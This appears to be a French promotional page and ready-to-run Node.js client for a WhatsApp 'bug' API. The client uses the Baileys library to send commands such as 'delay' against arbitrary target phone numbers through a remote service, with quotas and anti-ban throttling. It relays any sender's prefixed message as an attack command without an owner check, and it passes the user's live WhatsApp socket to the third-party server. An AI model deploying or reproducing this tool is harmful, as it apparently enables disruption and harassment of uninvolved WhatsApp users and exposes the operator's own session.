Une API
pensée pour les développeurs.

https://api.web.togehost.online

curl -X POST https://api.web.togehost.online/v1/token/generate \
  -H "Content-Type: application/json" \
  -d '{"label":"mon-bot","owner_name":"Alice"}'

curl https://api.web.togehost.online/v1/status \
  -H "x-api-token: VOTRE_TOKEN"

curl -X POST https://api.web.togehost.online/v1/command \
  -H "Content-Type: application/json" \
  -H "x-api-token: VOTRE_TOKEN" \
  -d '{"type":"delay","number":"33612345678","sock": { /* votre socket Baileys */ }}'

{
  "success": true,
  "command": "delay",
  "target": "33612345678",
  "quota": {
    "used_today": 12,
    "limit": 50,
    "remaining": 38
  }
}

{
  "error": "Trop de commandes récentes. Réessayez plus tard.",
  "code": "ANTI_BAN",
  "unblockAt": "2026-07-01T14:32:11.000Z",
  "retryAfterMinutes": 42
}

{
  "error": "Limite journalière atteinte (50/50).",
  "resetAt": "Minuit UTC"
}

// ────────────────────────────────────────────────────────────────────────────
//  WA API — Client Node.js prêt à l'emploi
//  Basé sur Baileys + axios. Renseignez API_URL et API_TOKEN puis lancez.
// ────────────────────────────────────────────────────────────────────────────
const {
  default: makeWASocket,
  useMultiFileAuthState,
  fetchLatestBaileysVersion,
  makeCacheableSignalKeyStore,
  Browsers,
} = require('@whiskeysockets/baileys');

const pino  = require('pino');
const fs    = require('fs');
const path  = require('path');
const axios = require('axios');

// ─── CONFIGURATION ─────────────────────────────────────────────────────────
const SESSIONS_DIR = path.join(__dirname, 'sessions');
const API_URL      = process.env.API_URL      || 'https://api.web.togehost.online';
const API_TOKEN    = process.env.API_TOKEN    || 'VOTRE_TOKEN_ICI';
const PREFIX       = process.env.PREFIX       || '.';
const OWNER_NUMBER = process.env.OWNER_NUMBER || '33612345678';

if (!fs.existsSync(SESSIONS_DIR)) fs.mkdirSync(SESSIONS_DIR, { recursive: true });

// ─── CLIENT API ────────────────────────────────────────────────────────────
class BugWebClient {
  constructor(baseUrl, token = null) {
    this.baseUrl = baseUrl;
    this.token   = token;
    this.sock    = null;
  }

  get headers() {
    return {
      'Content-Type': 'application/json',
      ...(this.token ? { 'x-api-token': this.token } : {}),
    };
  }

  // GET /health — état du service
  async health() {
    const { data } = await axios.get(`${this.baseUrl}/health`);
    return data;
  }

  // POST /v1/token/generate — crée un nouveau token
  async generateToken(label = 'Bot-Token', owner = 'Utilisateur Bot') {
    const { data } = await axios.post(`${this.baseUrl}/v1/token/generate`, {
      label, owner_name: owner,
    });
    return data;
  }

  // GET /v1/status — quota, anti-ban, métadonnées
  async status() {
    if (!this.token) throw new Error('Aucun token défini');
    const { data } = await axios.get(`${this.baseUrl}/v1/status`, { headers: this.headers });
    return data;
  }

  // GET /v1/history — historique paginé
  async history(limit = 50, offset = 0) {
    if (!this.token) throw new Error('Aucun token défini');
    const { data } = await axios.get(
      `${this.baseUrl}/v1/history?limit=${limit}&offset=${offset}`,
      { headers: this.headers }
    );
    return data;
  }

  // GET /v1/commands — catalogue
  async listCommands() {
    const { data } = await axios.get(`${this.baseUrl}/v1/commands`);
    return data;
  }

  // POST /v1/command — exécute une commande via VOTRE socket
  async execCommand(type, params = {}) {
    if (!this.token) throw new Error('Aucun token défini');
    if (!this.sock)  throw new Error('Aucun socket WhatsApp connecté');
    const payload = { type, sock: this.sock, ...params };
    const { data } = await axios.post(`${this.baseUrl}/v1/command`, payload, {
      headers: this.headers,
    });
    return data;
  }

  setSocket(sock) { this.sock = sock; }
}

// ─── BOT WHATSAPP ──────────────────────────────────────────────────────────
class WhatsAppBot {
  constructor() {
    this.sock        = null;
    this.isConnected = false;
    this.apiClient   = new BugWebClient(API_URL, API_TOKEN);
  }

  // Démarre la session Baileys
  async start() {
    const { state, saveCreds } = await useMultiFileAuthState(SESSIONS_DIR);
    const { version } = await fetchLatestBaileysVersion();

    this.sock = makeWASocket({
      version,
      logger : pino({ level: 'silent' }),
      auth   : {
        creds : state.creds,
        keys  : makeCacheableSignalKeyStore(state.keys, pino({ level: 'silent' })),
      },
      browser: Browsers.ubuntu('Chrome'),
      printQRInTerminal: true,
    });

    // Injecte notre socket dans le client API
    this.apiClient.setSocket(this.sock);

    // Sauvegarde automatique des credentials
    this.sock.ev.on('creds.update', saveCreds);

    // Gestion des états de connexion
    this.sock.ev.on('connection.update', ({ connection, lastDisconnect }) => {
      if (connection === 'open') {
        this.isConnected = true;
        console.log('✅ WhatsApp connecté');
      } else if (connection === 'close') {
        this.isConnected = false;
        const shouldReconnect =
          lastDisconnect?.error?.output?.statusCode !== 401;
        console.log('❌ Déconnecté. Reconnexion :', shouldReconnect);
        if (shouldReconnect) setTimeout(() => this.start(), 3000);
      }
    });

    // Écoute des messages
    this.sock.ev.on('messages.upsert', async ({ messages }) => {
      const msg = messages[0];
      if (!msg?.message || msg.key.fromMe) return;
      await this.handleMessage(msg);
    });
  }

  // Petit routeur de commandes texte préfixées par PREFIX
  async handleMessage(msg) {
    const body =
      msg.message.conversation ||
      msg.message.extendedTextMessage?.text || '';
    if (!body.startsWith(PREFIX)) return;

    const [rawCmd, ...args] = body.slice(PREFIX.length).trim().split(/\s+/);
    const cmd = rawCmd.toLowerCase();
    const from = msg.key.remoteJid;

    try {
      if (cmd === 'ping') {
        return this.sock.sendMessage(from, { text: '🏓 pong' });
      }

      if (cmd === 'status') {
        const s = await this.apiClient.status();
        return this.sock.sendMessage(from, {
          text: `📊 Quota: ${s.usage.remaining}/${s.usage.limit}\n` +
                `🛡 Anti-ban: ${s.anti_ban.blocked ? 'bloqué' : 'ok'}`,
        });
      }

      // Toute autre commande est transmise à l'API en tant que "type"
      const number = (args[0] || '').replace(/[^0-9]/g, '');
      if (!number) {
        return this.sock.sendMessage(from, { text: '❌ Numéro requis' });
      }

      const res = await this.apiClient.execCommand(cmd, { number });
      await this.sock.sendMessage(from, {
        text: `✅ ${cmd} → ${res.target}\n📊 ${res.quota.remaining}/${res.quota.limit}`,
      });
    } catch (err) {
      const apiErr = err.response?.data?.error || err.message;
      await this.sock.sendMessage(from, { text: `❌ ${apiErr}` });
    }
  }
}

// ─── BOOTSTRAP ─────────────────────────────────────────────────────────────
(async () => {
  const bot = new WhatsAppBot();
  await bot.start();
})();